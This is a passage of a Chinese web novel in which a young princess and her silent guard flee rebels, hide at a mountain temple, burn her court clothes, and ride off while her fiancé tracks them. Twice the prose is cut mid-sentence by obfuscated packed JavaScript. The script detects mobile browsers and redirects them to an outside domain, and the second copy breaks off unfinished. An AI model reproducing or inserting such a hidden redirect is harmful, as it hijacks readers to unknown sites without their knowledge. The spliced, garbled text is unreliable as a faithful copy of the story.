燕寔从地上坐了起来,目光快速扫过身上松松垮垮绕着的纱布,再抬眼看向李眠玉,目光沉静清亮,他看着她没吭声,却缓缓点头。 李眠玉松了口气,觉得自己坐在地上实在太不文雅,便打算站起来,可此时燕寔已经醒过来了,她再不用担心他会死掉,上午忽略的脚上的疼痛一下席卷过来,要一下子将她吞没。 她疼得没法忍,眼眶里瞬间蓄了泪,低头看着自己的脚,鞋子在睡着后不知被她踹到了何处,早已不见踪影,她没穿袜子,只有燕寔替她包扎的纱布,那上面浸了点血迹。 看到那血迹,李眠玉又开始头晕目眩,接着她又想起来自己一直没吃过东西,虚弱无力,她有些委屈地看向她的暗卫,“我已经一日没有吃过东西,没力气走了。” 燕寔显然比起上午好了许多,脸色没有那样苍白了,手撑着地站了起来。 他两步上前,弯下腰来,修长有力的臂膀穿过李眠玉腿弯,轻松将她横抱起来。 李眠玉很理所当然地将手搭在她的暗卫脖子里,她乌黑的长发荡在他的臂弯里,风吹来,几缕吹到燕寔脸上。 燕寔下意识低头看了一眼李眠玉,李眠玉脸上还是委屈的,正垂着眼睫盯着她的脚看,他便也顺着看过去。 长裙遮掩住了她的腿,只看得到那两只包成粽子的脚,沾了点血迹,看着就疼。 燕寔低头捡了李眠玉的绣鞋,抱着她重新进了寮房,竹床上空荡荡的,他转身走向桌子,想将李眠玉先放到长凳上,却看到了摆在上面的枇杷和饼子。 南清寺的后山有几株野枇杷树,此时正是成熟时,住持经常摘了当供果,至于那饼子,是住持最常做了当供品的玉米饼。 这些东西,不该出现在这里。 燕寔看向怀里的人,少年俊俏的脸上那双清亮的眼微微翘起,似疑惑。 李眠玉也看到桌上的供品了,她的脸上腾起一片红,在燕寔怀里挣扎了一下,“放我下来!” 燕寔将李眠玉放到长凳上,但是他的目光还落在桌上的供品上。 李眠玉脸很红,但眉头却皱着,说:“不知这是哪里来的,我被你抱住挣扎不了,睡了过去,许是住持回来了送来的。”她故作不知,手却攥紧了袖子。 她才不会让她的暗卫知道,她堂堂一个公主会去拿供品。 燕寔低头拿起枇杷,认真沉思道:“或许是佛祖显灵了。” 李眠玉松了口气,“对,肯定就是这样。” 燕寔漆黑的眼又抬起来看向李眠玉,他生得目黑唇红,专注看人时,显得直勾勾的,李眠玉被他看得紧张。 但还好,燕寔很快收回目光,拿着枇杷出去了。 回来时,他手里拿了一只碗,枇杷已经被洗干净剥了皮放在碗里,他将碗递给李眠玉,李眠玉看着那黄橙橙的果肉,已是口水延绵,忙接了过来。 从昨日到现在,每一件事都来得那样突然,李眠玉到了此时才真真切切觉得自己饿坏了渴坏了,可是…… 李眠玉只看着自己的手,小声:“我的手好脏,我也还没洁牙漱口。”说罢,伸出手给燕寔看。 燕寔看着伸到面前的十根白白嫩嫩的手指,没多说什么,又折返出去,很快提着只木桶和木盆进来。 李眠玉一看,那是被她不小心沉进井里的水桶,不知燕寔是怎么捞起来的。 但她想到燕寔去捞水桶定是知道是她弄进井里的,不由面红,猜测他心里是不是会觉得她笨,不由抬眼看他一眼。 燕寔察觉到她的目光望过去。 李眠玉又迅速收回了视线,看着燕寔提着水捧到她面前来,没有面盆,没有澡豆。 燕寔将木盆放在下面,提着水做出倾倒的动作……虽然狂野了一些,但李眠玉怔神过后便将手伸在水下。 井水缓缓落下,清澈沁凉,她掬着水细细洗了手指,顺势掬了水漱口洁面,她又想要帕子擦,可她想到包袱里堆着的肚兜等物,不好意思让燕寔去取,便湿着一张脸,轻轻甩了甩手。 李眠玉这才拿起一枚果子就要往嘴里塞。 但是她想到这是她从佛祖那“拿”来说是给燕寔吃的,若是她吃了,佛祖会不会生气? 她将枇杷往燕寔递过去:“你先吃。” 燕寔以为这是公主的规矩,吃之前需要人试吃,便接了过来放进嘴里。 “怎么样?”李眠玉立即问道。 燕寔顿了顿,明润乌黑的眼眸看过来,“还成。” 李眠玉这才又拿起一颗往嘴里塞,却只一瞬,眼泪都流了下来,酸得说不出话来,眼睛鼻子皱成一团。 她泪汪汪地看向燕寔。 可燕寔已是转过身去,他熟门熟路去了衣柜那儿,从里面取出了一身黑色武袍,将身上松垮的纱布稍稍绑了一下后,穿上武袍,随后又取出了一床干净的床单被罩放到住床上,再是出去院子里捡起地上被褥用力抖了抖抱进去。 换床单,套被褥,竹床上很快又整整齐齐。 燕寔抱着换下来的脏床单以及李眠玉丢在地上的外衫,又要往外去,李眠玉终于从酸涩的枇杷里缓过来,忙叫住他:“你要去哪儿?” “去后厨弄些吃的,再去后山的泉边打点山泉水。”他声音如敲金戛玉,目光干净。 李眠玉咬了咬唇,她不想让燕寔离太远,可她的脚好疼,再不能走山路,便迟疑着没立即出声。 燕寔看着她:“离得很近,很快回来。” “咕咕——”李眠玉还没出声,肚子却叫了起来,如此不雅,她的脸又红了一下,假装无事发生的模样,挺着脊背自然道,“那你去吧。” 燕寔这才出门去。 李眠玉等他一走,背就垮了下来,揉了揉肚子,她看了看碗里剩下的枇杷,实在再难以入口,再看那饼子,也干巴得咽不下的模样。 再说,这本来就是给她的暗卫的,还是等燕寔给她寻吃的来。 -- 燕寔熟门熟路去了寺庙后厨,推开门,住持应当是这两日出门的,厨房里没有尘灰,还很干净,水缸里还剩了半缸水。 他四处翻了翻,翻出些米面来,除此之外,什么都没有,寺中没有荤腥。 他想了想,先淘米煮了饭,再取了只木桶去了一趟后山。 回来时,一手提着木桶,木桶里是活泉水,另一只手提了两只拔毛掏肚了的野山鸡,到灶台那儿时,又从怀里掏出了几只野鸡蛋。 李眠玉坐在长凳上无事可做,肚子越来越饿,忍不住伸长了脖子一直往屋外看,心想燕寔怎么要这样久? 初时她还只是在心中嘟囔,可随着时间过去,她有些坐立难安,脑子里开始胡乱起来,开始焦虑燕寔是不是又昏厥了,又惶恐那些追她的人会不会又来了和燕寔正缠斗? 李眠玉想去寻她的暗卫了,她的双手紧紧握在一起,又等了会儿后,就要下地去寻。 正此时,屋外传来一阵香气。 李眠玉觉得自己此生都没闻到过这样香的味道,她深嗅了口气,眼睛瞬间亮了起来,抻着脖子往外看。 少年暗卫手里端着只托盘浴着夕阳稳稳走来。 李眠玉悄悄咽了咽口水,但面上维持着公主的矜持,在他抬脚跨进来前便缩回了脖子,然后仿佛才听到动静般,柔柔偏头,只开口就忍不住:“你做了什么啊,这样香。” 她的一双杏眼润润的,望着人时里面像有细碎的星辰,一漾一漾的。 燕寔脚步顿了一下,很快走过去将托盘往桌上放,“从后山捉了两只野山鸡,捡了几只蛋。” 李眠玉迫不及待看过去,她从没见过这样破又这样大的碗,快赶得上脸盆大,碗口缺了一角,里面盛满了红烧鸡块,隐约可见几只剥了壳一起炖的蛋,另有两大碗饭,可这饭黄黄的,不像她从前吃的那样白。 见李眠玉盯着米的眼神迟疑,燕寔一边拿了桌上的茶碗,用茶壶里的山泉水冲了一遍,再倒了一碗给李眠玉,再是清声道:“寺中清苦,常吃的便是糙米玉米面这些。” 李眠玉点点头,为自己不识糙米而面红,她接过了粗糙的茶碗。 即便很渴了,李眠玉依旧习惯性小口小口喝着。 喝完后,她抬起了,唇角抿起笑,眼睛亮亮的,“燕寔,这水是甜的,你喝了吗?” 少年望着她,点了点头。 李眠玉见他还在旁边站着,便指了指旁边,“坐吧。” 燕寔这才在一旁坐下来,将一大碗米饭和木箸放到李眠玉面前。 李眠玉看着面前比自己脸还要大的碗,“我吃不了这样多。” 燕寔:“公主先吃,吃不完还有我。” 李眠玉一怔,她从不让青铃姑姑吃自己剩饭的,自然也没想过让她的暗卫 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,不想做的事便不做,从没吃过苦,但此时她却捏着木箸,半天说不出话来,只要想着或许青铃姑姑连这样的饭都吃不上了,她就无法理直气壮说不吃。 她低着头,没吭声,又吃了一口饭,嚼了许久才又咽下去,再抬起脸时,脸上又湿漉漉的了,她说:“也还成的。” 不过是暂时忍一下,等她回到皇祖父身边,什么都能和从前一样的。 李眠玉又夹了一只蛋,只还没咬下去,余光见燕寔只是坐在那儿,却没有动木箸,她本想让他同用,可话到嘴边却迟疑了一下。 桌上没有分食,她从没有与旁人的木箸一起放进一个碗里过。 燕寔看懂她脸上的迟疑,“公主先用。” 李眠玉面红,却没多说什么,埋头吃饭。 她吃了许久,那盆鸡也只少了一角,饭也只是少了一小角。 李眠玉下意识想拿帕子擦嘴,可反应过来帕子都在包袱里,便忍住了,看向燕寔:“我用好了。” 燕寔这才动木箸,他本就是半大不大的少年,不过比李眠玉大个几岁,还是长身体的时候,他动作不算粗鲁,却吃得极快。 李眠玉几乎是目瞪口呆,看着暗卫埋头如扫荡一般,那小山高的饭眨眼间就下了肚,瞬间碗中干净得不见一粒米。 当她看到燕寔抬起他那双明润乌黑的眼睛看向她的剩饭,询问一般看她一眼时,她默默将自己吃剩的饭推了过去。 燕寔很快将她的剩饭连带着那盆鸡都扫了个干净,顺带着桌上的两只玉米饼和一小碗枇杷都下了肚。 那般酸的枇杷他吃得面不改色。 李眠玉忍不住往燕寔肚子看去,她记得方才见到他脱了衣衫的样子,腰很细,就算是此时肚子也很平,究竟怎么装得下这样多的东西…… 但是她转念一想这暗卫力气之大,随随便便扛着她疾奔一夜都不喘气,吃得多也不奇怪了。 用过饭,燕寔没有立即去洗碗,而是对李眠玉说了难得的一长句话:“昨日寻公主的人有两拨,一波应当是叛军,另一波暗卫不知是何方势力,公主可知晓?” 李眠玉听此,紧张起来,摇摇头,“不知。” 燕寔道:“今晚在这休息一夜,明日我出去打听一下如今的情况。” 李眠玉先是点头,但很快又摇了摇头,她看向燕寔,小声:“我不敢一个人留在这里。” 若是燕寔走了,抓她的人找到了这里,那岂不是瓮中捉鳖?更何况,她想第一时间知道皇祖父的消息。 可是……可是她的脚受了伤,没法走太远,她没法跟着燕寔。 李眠玉目中又湿润起来,她看向燕寔,发现他正皱紧了眉,那凌厉野性的眉眼瞧着有些凶,像是黑了脸嫌她麻烦一般。 她一下就恼了,一句“大胆”还没出口,就听她的少年暗卫幽幽说:“明日我要去乞丐窝寻乞丐去打听,遍地都是像钻了粪桶的十二皇子一样的乞丐。” 李眠玉呼吸一窒:“……那其实我留在山里也挺好的。” 燕寔端着碗筷去洗了,李眠玉却还留在原地发愣。 十二皇叔已经是她的噩梦了,这会儿想起他,肚子都有些隐隐作痛,她揉了揉肚子,赶紧把十二皇叔从脑子里赶出去。 可她努力忘掉十二皇叔了,肚子却越揉越痛。 李眠玉微微蹙了眉,下一瞬,她捂着肚子,脸涨红了。 7.第7章 燕寔在厨房洗好碗筷,想了想,去后山挑了水烧,又顺便将水缸里的水补满,做完这一切,他又抱着脏被单和李眠玉的外衫去后山溪水旁洗。 少年蹲在溪边的石块旁,低着头先搓洗李眠玉那件外衫,可他不过搓了一下,那外衫就破了一个大洞,烂了。 燕寔有短暂的茫然,低头看着手里这间拉丝了的衣衫,半天没动。 好半晌后,他才将衣衫放到一旁的石头上,用同样的力道搓洗被单,被单没有损坏一点。 他又看向那件破了大洞的外衫,又看了看自己的手,眼睫轻颤,幽幽叹了口气。 燕寔从后山回来时,天色已经暗了下来,他回到寮房后面的晾衣杆那儿,将洗好的被单衣物晾好。 屋子那儿静得有些奇怪,他走到门口,屋里没点灯,李眠玉低着头还坐在桌旁,不知在做什么。 燕寔脚步踩得重了一些,发出些声音。 李眠玉正陷入自己的思绪里,听到燕寔回来了,紧张地抬头看过去,她的脸上没有泪,但是通红通红,咬着唇捂着肚子。 燕寔抬腿走进来,没说什么,先转身去一旁取了蜡烛点上。 “燕寔……”少女气息微弱,堪称奄奄一息。 烛火一下照亮了昏暗的屋子,燕寔回过头看向李眠玉。 少女的唇瓣像山茶花瓣,荏弱美丽,此时却快被她咬破了,她脸红得娇俏,眉却紧蹙,双手交叠在腿上紧握,似出了大事的样子。 燕寔凝眉安静。 李眠玉却没看燕寔,只小声说:“我想更衣了。” 燕寔松了口气,上前想抱她去茅房,但李眠玉似早有准备,两只脚都套进了绣鞋里,她不像之前那样娇气,忽然坚强了起来,“你带我去就行。” 这越发古怪。 李眠玉没法与燕寔明说,她也不清楚自己此时腹痛是想更衣还是癸水来了……她的癸水半年前来了后便很不规律,姑姑说初来癸水是这样的。 燕寔没做声,在屋子里翻找出一只灯笼点上,提着灯走在前面。 李眠玉低着头跟在他后面,袖子里放了月事带,青铃姑姑连这都收拾了。 寮房的茅房就在不远处,几步距离就到了。 昨夜里李眠玉已是在山林野外更衣过了,如今见到还有个茅草屋做遮挡已是十分感动,她不等燕寔开口,就从他手里接过灯笼。 “你稍稍站远一些。” 燕寔听话地后退几步,安静得快要隐于黑暗里。 李眠玉镇定地拉开茅草亭的门走进去,但她才往里进去一步,便惨叫一声。 燕寔几乎在她凄厉惨叫声响起时,一个箭步过去,便见李眠玉踉跄着要掉进去,立即伸手拽住了她的胳膊。 李眠玉被燕寔拉住的瞬间,一口气才喘上来,冷汗也从额上滴下来。 差点和十二皇叔一样! “出去,快出去!”李眠玉几乎是抖着叫出来,恨不得忘记方才见到的一切。 她不知民间更衣的地方长这样,地上黑漆漆的,她没寻到恭桶,提灯自如地往里迈步,余光一扫,看到脚下,头皮发麻。 李眠玉从里面出来,捂着嘴就干呕,脸色发白,她说不出话来,另一只手还捂着肚子,含泪看向自己能干的暗卫:“看来不是人人都能做十二皇叔呢。” 燕寔静了一会儿,看着她:“去林子里?” 林子里草多,不知有什么蛇虫蚊蝇……但总比刚才所见好,李眠玉含泪点头。 “能走吗?” 后面林子有一段路,李眠玉坚强不动了,摇了摇头。 燕寔伏下身,李眠玉趴了上去。 到了后山林子,燕寔拿剑先打量了一圈四周,确定没有蛇虫,李眠玉才过去,并千叮咛万嘱咐:“你离我远一些,起码三丈。” 李眠玉见他背过身了,将灯笼放在一旁地上,撩起裙衫,解开里裤低头一看,松了口气,没有血。 那这惊天剧痛看来只是…… 燕寔等了许久,才听到身后窸窸窣窣的声音。 “走吧。”李眠玉低着头,有几分忸怩,腿也颤颤巍巍的,麻得像两条麻花。 幼时她养过一只狮子狗,每日都要在花园里占地盘,李眠玉浑浑噩噩地想,如果她也是一只狮子狗的话,方才那一片应该生狗勿进了。 她已是彻底丢失了一个公主的优雅。 燕寔蹲下来,李眠玉趴上去,小声说:“回去后,给我备一些热水来。” 暗卫点了下头,不多话。 回到寮房后没多久,燕寔便提了两桶热水过来,他漆黑的眼睛直直看向床沿的李眠玉:“没有浴桶。” “无事。”李眠玉顿了一下,又问:“今日你睡哪儿?” “外面。” 若是寻常时候,李眠玉还会再多问几句,但现在她属实没有心情了,还在为自己丢失的优雅默哀,点点头,“那门关上后你便直接睡吧,不用管我了。” 燕寔出去了。 李眠玉立即从包袱里取出一套干净衣物,迅速脱下身上的衣物,将帕子浸湿,飞快地擦拭身体。 当重新穿上干净的衣服,嗅到青铃姑姑给衣服熏的香后,李眠玉觉得自己重新捡回了一点公主的脸面。 燕寔双手环胸,随意靠在墙上,闭目敛神。 少年眉目虽秀丽,可静静站在那儿,如一把随时等待出鞘的剑,气势凌厉,在夜色下敏锐防御着四周。 …… 翌日清晨,燕寔烙了几个玉米饼,熬了些粥,李眠玉用过后,又让她的暗卫陪着钻了一回小树林,出来时,再次神色恍惚了许久。 燕寔要走的时候,李眠玉叫住他,她神色赧然,眸若清水,欲语还休,娇滴滴的。 身为暗卫,燕寔极少有明显的情绪起伏,他安静等着。 李眠玉终于小声:“到时也帮我也打听一下崔云祈怎么样了。” “崔云祈?”少年慢慢重复。 李眠玉含羞又得意:“是我未婚夫,世族崔氏长房长子,我跟你说过啊,他才高八斗俊美非凡温润如玉乃京都第一公子。” 燕寔没吭声,点了下头。 李眠玉看他离去后便赶紧回到寮房,关紧了门窗。 燕寔下山后没有如他所说一般寻乞丐,而是去了一趟驿站,离这不算远。 驿站来往人多而杂,消息灵通。 燕寔是从林子里抄近道过去的,到的时候,驿站里人满为患,隐隐有流民的趋势。 从京都逃难出来的车马堵在路上,有军士穿梭其中,拿着刀剑,凶神恶煞地在驿站搜寻,通往京中的官道都派了人把守,还有几只猎犬相随,所有人面色惊惶恐惧。 他细细观察了一番,军士所穿衣物与上回在林中追捕他们的大周军士衣衫不同,这是外族服饰。 他又弓背听了会儿几个神色焦灼的书生对话,神色一凛,没有多停留,立即悄无声息退回林中,半路上顺了一匹马,便往南清寺奔。 回到南清寺,燕寔迅速查看寺中情况,见寺中没有杂乱无章,才是松了口气。 他回到寮房外敲了敲门,“公主。” 李眠玉一直紧张地待在屋中,听到燕寔声音,忙一拐一拐过去开门,仰头看他时,一双眼妙盈盈的,“你回来得好快呀!” 她期盼地看着他。 燕寔却给她砸下个不太妙的消息:“这里不安全,立即走,我去厨房收拾一些干粮。” 李眠玉却不愿意总是这样逃,她的心乱了一下,便定要燕寔说个明白:“为何不安全,你不是说南清寺很安全么?你打听到什么消息了呀?” 燕寔看着她:“圣上失踪,赵王被斩头,如今北狄血脉的叛军头领占据了京都,屠杀不服者,京中部分官员与世家投敌。” 李眠玉脸色煞白,说话都磕磕绊绊了,“北、北狄?我大周……大周……李启翼这个废物!” 李启翼就是不自量力与外敌勾结的赵王! “皇祖父……皇祖父失踪,还有可能活着的,对吗?”李眠玉眼睛一下红了。 燕寔低声:“所以我们现在走。” 李眠玉呼吸都乱了,安静了一会儿,才含着泪点点头回屋收拾,也没管地上的脏衣服,抓着包袱往外走。 她出来时走得急,一下撞到回身来寻她的燕寔怀里,整个人往后仰倒,但很快就被搂住。 李眠玉正要松口气,却见燕寔垂着眼睛靠过来,凑到她脸颊旁,鼻子翕动着嗅闻她,温热的呼吸就在她唇瓣此起彼伏。 少年凌厉俊俏的脸挨得极尽,温热的身体将她笼罩。 “大、大胆!” 李眠玉呆了一呆,面红耳赤。 燕寔显然不在意她的斥骂,又抓起她的胳膊,靠近了嗅闻她的手臂,微微皱了眉。 李眠玉见此,一颗心又提了起来,咬了咬唇,怀疑是否是在小树林里沾到了味? “宫中衣物,都烧了。”少年终于松开了李眠玉,表情严肃。 李眠玉不敢置信:“为什么?” 燕寔很少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026838|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这样长一段话:“衣服上有宫中特制的熏香,猎狗辨认出来,一直追到了二十里外的驿站。前日晚上公主身上只穿了一件,味道淡,所以他们搜寻得慢,只是大概确定一个方向,但迟早会找到南清寺来。” 李眠玉不理解,香味在空气里就散了,什么可怕的狗这样厉害! 她抓紧了衣襟,“那我穿什么?” 燕寔踱步往里走,打开柜子将里面的几身武袍和一双鞋取出来,拿出一身给李眠玉,另外的用另一个包袱皮包好。 李眠玉接过衣衫,迟疑道:“内衫都要脱吗?” 燕寔再次道:“宫中衣物,不能留。” 李眠玉:“那金钗首饰呢?”青铃姑姑给她收拾了些首饰细软。 燕寔顿了一下,乌黑的眼睛眨了一下,“我拿出去看看。”说完,便背上包袱又拿起李眠玉落在地上的大包袱出去了。 李眠玉抿了唇抱着衣服在床上呆坐了一瞬,才低头开始解衣衫,解开肚兜带子时,她的手都在发抖,眼眶又湿了,再次怀疑自己没留在宫中与皇祖父共进退是不是错误的。 她将自己脱了个干净,抖开燕寔给她的武袍,发现里面还有内衫,只是粗布的,且也没有肚兜。 李眠玉一穿上,皮肤就被磨得刺痛,尤其自从她来癸水后,胸那儿很敏感,时常肿胀,她捂住胸缓了会儿,才是缓缓将武袍穿好,鞋子也套了上去。 衣服不知是不是燕寔的,衣袖衣摆都很长,那鞋子更不用说了,和船似的,不知燕寔究竟怎么长的。 李眠玉提着衣摆出去,眼睛红红的,“太大了。” 站在外面的燕寔转身看她,上前将她两边长长的袖子撕掉,下摆也撕掉一截,腰带系紧了,又用撕下来的布条将她脚上的靴子绑在小腿上束紧。 “背过身去。”燕寔低声。 李眠玉委屈看他一眼,转过身。 燕寔抽掉了她绑发的发带,手指抓着她满头顺滑浓密的乌发,与他一样在头顶用发带扎紧。 李眠玉从没梳过男子发式,一时有些新奇,上手摸了摸。 燕寔回到屋中,将李眠玉换下来的衣物拿起,手指刚好绕在那根细细的红色肚兜绳上。 他第一次见,怔了一下,漆黑的眼盯着看了一瞬,有几分好奇。 李眠玉抬头时,刚好看到燕寔手指绕着肚兜带子垂眼看,呼吸一滞,快步奔过去夺下肚兜,娇喝:“大胆!” 燕寔静静看过去,眉眼无辜。 李眠玉羞红了脸瞪他,大声道:“怎么处理这些衣物?” 燕寔没再看她,提着衣物走出去,李眠玉跟了上去,看着他走到茅房那儿,将她的衣裙鞋袜丢进坑里,还用了根扁担搅了搅。 李眠玉:“……” 一个公主的衣服,和僧人的秽物,搅合在了一起。 燕寔回头,看向她手里的肚兜,见她神情呆滞,没出声直接拿过来一起丢进茅坑里。 李眠玉浑浑噩噩被拉走,被抱上马时才堪堪回过神来,她气咻咻的,“好你个大胆暗卫!” 燕寔闷不做声,拉了缰绳就调头。 李眠玉学过骑马,是皇祖父教的,但她骑的马都是温驯的马,比寻常男子的马稍矮些,且半年前她来了癸水后就再也没碰过马,冷不丁坐上高头大马心慌了一瞬,“我们要去哪儿?” “不知道。”燕寔的声音从耳畔传来,幽幽的。 李眠玉:“……你不知道?” 她一双圆眸睁大,不可置信地偏头看他。 少年暗卫垂头也看她:“圣上只说带公主去安全的地方藏身,没说去何处。” 李眠玉眨了眨眼,收回视线看向前方,眼睛红肿茫然,可没了皇祖父庇护,究竟哪里对她来说是安全的地方呢? 她幽幽叹了口气。 可惜她的暗卫不感同身受她此时的多愁善感,忽然扬鞭,李眠玉哎呦一声,嗔怒:“燕寔!” 叫归叫,她赶紧坐稳了。 …… 两人离开南清寺两个时辰后,一行人上了山,其中还有不停嗅闻的猎狗。 被人簇拥着的那人着白服,长身玉立,褒衣博带,长袖拂地,缓缓从寺前佛堂,一路到后面寮房,乌色的长发被风吹拂,如雾散开,他扫了一眼小院,走到屋前推开门。 门一开,他微微皱了皱眉,光落在他身上,半明半暗,他侧过脸吩咐身后人,“人才走,去追。” 是个极为俊美的青年,下颌线条流畅,面容温润如玉,却又透着几分冷色。 8.第8章 午时的日头落下来,照得整间小院亮堂。 崔云祈进了屋中,目光掠过四处,最终定在有些许凌乱的床褥,几步上前,拿起来低头嗅了一下。 “公子!”门外,恭敬的声音响起。 崔云祈放下被褥,转身朝外去,跟着人往后面去,最终在一间茅房外停下,特殊训练的猎狗蹲在地上吐舌,卫士已是拿着扁担捞起里面的衣物。 “是公主的衣物。” 崔云祈低头,看着一件红色的肚兜糊满了秽物躺在地上,温润秀美的脸瞬间沉下来,“背过身去。” 卫士立即背过身去。 他垂下眼,眼睑处垂下一片阴影,命人取来火把与干柴,堆在衣物上,点燃了柴火。 黑色浓烟渐渐在院中升起,天色也似阴沉了些。 “公子,该走了,不能再在此停留,派去寻公主的都是精锐,定是能寻到,或许我们一路也能遇到公主……京中新帝已是派人来寻公子了,公子,再不走来不及了。” 崔云祈垂眸看着衣物,没理会。 那卫士硬着头皮又道:“相爷已是催了几回公子尽快到陇西,别落后相爷太久。”卫士低声说。 崔云祈:“还没查出跟着玉儿的人是谁吗?” “……只能查到是圣上派去的,暗卫名录上的暗卫都对应不上。” 崔云祈温雅的脸上无甚表情,没再开口。 一直等到面前的柴火彻底成了一堆灰烬,才是离去。 …… 乌云遮日,夏时的雨突袭而至,如瀑布倾斜而下,雨击树叶,伴着轰鸣雷声,一匹载着双人的快马在风雨中呼啸而过,李眠玉身上却只湿了一点儿,偏头埋在燕寔怀里。 每每她想睁眼探头看看如今到了何处,看到的就是被雨水浸透的模糊的世界,什么都看不清,只好继续埋进她的暗卫怀里。 燕寔明明没有戴斗笠,也没有撑伞,但是雨却落不到他身上,李眠玉紧贴着他,身上也没怎么淋湿。 路上有些马车都驶得很慢,一些骑马的行人更是寻遮蔽处躲雨,可燕寔却依旧纵马狂奔。 李眠玉原先心里还在悲伤大周如今处境,双眼含泪,可渐渐的,她忍不住打量燕寔,伸手摸摸他的胳膊,又捏捏他的肩膀。 燕寔无甚反应,只是身上的肌肉更绷紧了一些。 李眠玉终于忍不住开口:“燕寔,你身上为什么不湿?” “因为真气外放。” “真气是什么?” “……练武之人修内功,日复一日时间久了就有真气。” “内功是什么?” “……习武心法,吐纳气息入下丹田,充盈经络,锻炼肺腑。” “下丹田在哪里?” “脐下三寸。” 李眠玉偷偷伸手摸了摸自己肚脐眼,又往下摩挲出三指宽之地,揉了揉,悄悄吸气呼气,没感觉有什么东西入丹田。 燕寔余光看到李眠玉动作,装作没看到。 李眠玉若无其事松开手,又问:“你练的什么功法?我可以练吗?” 若是她能和燕寔这样厉害……上次在山林里飞奔时,他好像都能飞起来,她如果也这样厉害,岂不是不知不需人保护,还能保护别人?若是她从前就这样厉害,岂不是早就可以扛着青铃姑姑在宫中乱飞了? 燕寔想了想,点头:“可以。” 李眠玉的心跳一下快了起来,激动得声音都劈了叉,“真的?” “真的。”少年暗卫声音沉静。 李眠玉已经开始畅想未来飞檐走壁了,含泪的双眼亮晶晶的,问燕寔:“那我能变得比你还厉害吗?” 她是公主,自然做什么都要做得好,怎么能比不过自己暗卫? 少年这次沉默许久,才说:“不能。” 李眠玉:“……”她欢快的情绪一顿,皱眉,“你是什么意思,你是说我不如你?” 少年声音清亮:“我三岁习武,如今十八,习内功十五年才如此,公主年十四……” “再一个月我就及笄了,十五了!”李眠玉皱眉纠正他。 及笄对于女子来说及重要,代表着长大,她不允许燕寔说她十四。 燕寔显然对于李眠玉十四还是十五都无意见,一板一眼道:“公主马上年十五,就算现在开始练功,十五年后才与我一样,可十五年后,我的内功也会更厉害,除非我死了。” 李眠玉:“……”她是想变厉害超过燕寔,可也没想过让燕寔死,顿时无言,安静了许久,才又说,“你才十八,为何脚长这么大?崔云祈的脚都没你大。” 燕寔:“……” 李眠玉想到崔云祈,又蔫儿了下来,她靠在燕寔怀里,从他咯吱窝下面看着地上泥泞的路,又渐渐往上看这如瀑暴雨,“你没查探到崔云祈的消息是吗?” 很快,她听到暗卫嗯了声。 李眠玉喃喃:“他一定很着急,一定会来寻我的,他来寻我时我要问问他,为什么那天没有给我送信。” 燕寔显然不明白李眠玉在说什么,闷声不响,只是看着前方,腿夹马腹纵马行。 李眠玉又语气骄傲地说:“崔氏是百年世族,出了好几代宰相的世家,定不是那等投敌小人,崔云祈才识过人,十六岁时便考中了状元,后来进了中书省,如今是中书侍郎呢!” 燕寔心想,中书侍郎是什么,比宿龙军首领还厉害么? 李眠玉还想说些什么,忽然一声闷雷响起,在前方落下,恰劈在路边一棵树上,那树瞬时劈成两半,倒在路中间,她被吓到,双手都抱住了暗卫的腰。 燕寔左右看了一眼,忽的加快了速度。 泥浆在地上溅射,李眠玉都觉得自己衣摆上沾上了黏答答的泥。 虽没有雨落在身上,可她耳畔是风声是雨声是雷声,还有燕寔的心跳声,各种声音涌来,她有些紧张,睁大了眼扭头看向那越靠越近的横在路上的树,声音都拔高了几分,“你慢点儿!燕寔,你慢点儿!” 她心跳也如雷,生怕马撞到那树连带着她和燕寔一起滚落泥水。 可在马将将撞上去前,燕寔忽然抱着她付低了身体,他伏在她背上,而她几乎撞到了马脖子上,李眠玉面色一僵,脸色涨红,有一瞬的扭曲。 正愤然间要骂燕寔,马却飞了起来,前蹄高扬,余光里四周的树在此时忽然变矮了,她抱紧燕寔,扭头朝下看。 那横在路上的老树也变得渺小了,李眠玉再一眨眼,马儿落地,嘶鸣一声,她在燕寔怀里重重颠了一下,又被他按下,稳稳当当落在马背上。 李眠玉心脏还因紧张剧烈跳动着,很是恍惚,就听耳畔一声短促的笑声,极轻极清。 她一下回过神来,仰头看向燕寔。 少年脸色微微苍白,眼角却往上翘起,漆黑明润的眼一下似有流光。 李眠玉被燕寔带走几日了,第一次看到他笑,顿时盯着的时间久了些,但那笑不过眨眼即逝,很快,他的脸上便恢复了往常无甚表情的样子,沉静平淡。 她眨了眨眼,怀疑方才是不是自己看错了,她问燕寔:“方才你笑了吗?” 燕寔低头看她一眼,没吭声。 李眠玉也没有再多问,无甚在意。 雨下了许久,两人在雨中也疾奔了许久,傍晚时分,马也累了,两人在路边一处破庙稍歇。 燕寔顺来的黑马是大户人家的马,不仅膘肥体壮,马背上的皮袋子里还有马吃的黑豆子,他将破庙收拾了一番,点了火堆,便出去檐下喂马。 李眠玉在马背上颠簸许久,腰酸背痛屁股更像是要被劈成两半,即便脚还疼着,也没立即坐下来,而是扶着墙壁小步走着,她往外探头见燕寔抓着黑豆喂马看不到她,便不太优雅地扭了扭腰肢,又迟疑着揉了揉胸。 马飞跃过那棵树时,她的胸撞在马脖子上,疼得她想杀人。 李眠玉小声骂暗卫:“横冲直撞的野猫!” 骂过之后,她也没好受多少,周围这般静,她又想皇祖父了。 还有那一日给父王母妃的祭文也没写完烧给他们。 还有青铃姑姑,也不知怎么样了。 燕寔喂过马,便往庙中走,刚走到门口,便见少女靠着墙,低着头又开始眼眶红润垂泪,两只手却按在胸上揉按。 他眨了一下眼,扭过头去,又去给马喂豆子。 灰青色天幕下,一切都朦朦胧胧的,少年微垂着头,对马叹了口气,呢喃一声:“又哭了。” 他看了看外面的雨,想起方才路过的小溪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 